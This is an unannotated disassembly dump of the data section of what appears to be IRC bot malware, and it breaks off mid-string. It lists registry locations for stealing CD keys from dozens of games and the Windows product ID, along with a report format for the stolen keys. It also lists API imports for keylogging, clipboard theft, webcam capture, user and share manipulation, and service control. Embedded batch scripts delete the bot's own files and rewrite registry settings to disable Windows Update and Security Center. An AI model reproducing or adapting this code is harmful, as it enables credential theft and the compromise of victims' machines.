428308h, 42833Ch, 428300h dd 80000002h, 42836Ch, 428360h, 4282D0h, 42833Ch, 4282C8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 ; DATA XREF: .nsp0:0042DE9Co db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:00427E9Co aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:00427E98o align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_427E94o align 4 asc_429098: ; DATA XREF: sub_4085D3+E9o ; sub_4085D3+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_4085D3+8Fo ; sub_40CE55:loc_4112ADo unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_4085D3+7Eo ; sub_4088A0+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo align 4 unk_4290BC db 2 ; DATA XREF: sub_408788+C5o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_4290F0 db 2 ; DATA XREF: sub_408788+5Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_4088A0+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_4088A0+1Ao align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4089F2:loc_40962Do align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4089F2+BE6o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4089F2+BD9o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4089F2+BCCo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4089F2+BBFo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4089F2+BB2o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4089F2:loc_40958Fo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4089F2+B68o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4089F2+B60o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4089F2:loc_409545o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4089F2:loc_4094D1o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4089F2+AA2o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4089F2:loc_409487o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4089F2:loc_40943Do align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4089F2+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4089F2+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4089F2+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4089F2+99Ao align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4089F2+98Do align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4089F2+966o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4089F2+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4089F2+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4089F2:loc_409332o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4089F2+903o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4089F2+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4089F2+8EEo align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4089F2:loc_4092D3o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4089F2+80Eo align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4089F2:loc_4091B3o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4089F2+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4089F2+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4089F2+66Eo align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4089F2+661o align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4089F2+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4089F2+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4089F2+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_4089F2+62Do ; .nsp0:0042C5F0o align 4 aListen db 'listen',0 ; DATA XREF: sub_4089F2+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_4089F2+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_4089F2+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4089F2+5F9o align 4 aRecv db 'recv',0 ; DATA XREF: sub_4089F2+5ECo align 10h aSendto db 'sendto',0 ; DATA XREF: sub_4089F2+5DFo align 4 aSend db 'send',0 ; DATA XREF: sub_4089F2+5D2o ; sub_40CE55+20D7o align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_4089F2+5C5o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4089F2+5B8o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_4089F2+5ABo align 4 aHtons db 'htons',0 ; DATA XREF: sub_4089F2+59Eo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4089F2+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4089F2+584o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4089F2+577o ; .nsp0:0042CA00o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4089F2+56Ao aSocket db 'socket',0 ; DATA XREF: sub_4089F2+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4089F2+550o align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4089F2+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4089F2+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4089F2+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4089F2+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4089F2+50Fo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4089F2+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4089F2+4F6o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4089F2+483o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4089F2+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4089F2+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4089F2+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4089F2+44Fo align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4089F2+442o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089F2+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4089F2+428o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4089F2+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4089F2:loc_408E01o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4089F2:loc_408DD9o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089F2+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089F2+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4089F2+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4089F2+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4089F2+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4089F2+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4089F2+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4089F2:loc_408D2Bo align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089F2+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089F2+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4089F2:loc_408CE6o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4089F2+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4089F2+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4089F2+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4089F2+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4089F2+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4089F2+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4089F2:loc_408C51o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4089F2+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4089F2+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4089F2+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089F2:loc_408BEAo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4089F2+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4089F2+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4089F2+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4089F2+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4089F2+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4089F2+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4089F2+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4089F2+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4089F2:loc_408B27o ; sub_41E6EE+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089F2:loc_408AFAo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089F2+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089F2+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4089F2+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4089F2+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089F2+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089F2+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4089F2+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4089F2+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4089F2+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089F2+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4089F2+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4089F2+Ao align 4 dword_429A0C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40967F+2F2o dd 2029206Ch, 2BBBB02h aDllTestComplet db ' DLL test complete.',0 align 10h aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+264o align 10h aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40967F+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40967F+160o align 10h aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40967F+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40967F+28o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409C08+72o align 10h aMirc db 'mIRC',0 ; DATA XREF: sub_409CCD+5o ; sub_414390+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409D4F+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DF3+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409E15+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409E15+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409E15+48o align 4 aCA1c_bat db 'c:\a1c.bat',0 ; DATA XREF: sub_409F9D+29o align 10h a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409F9D+14o db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share' db 'dAccess]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus' db 'erv]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>' db '%temp%\1.reg',0Dh,0Ah db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi' db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma' db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo.>>%temp%\1.reg',0Dh,0Ah db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' db '\Parameters]>>%temp%\1.reg',0Dh,0Ah db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh db 0Ah db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah db 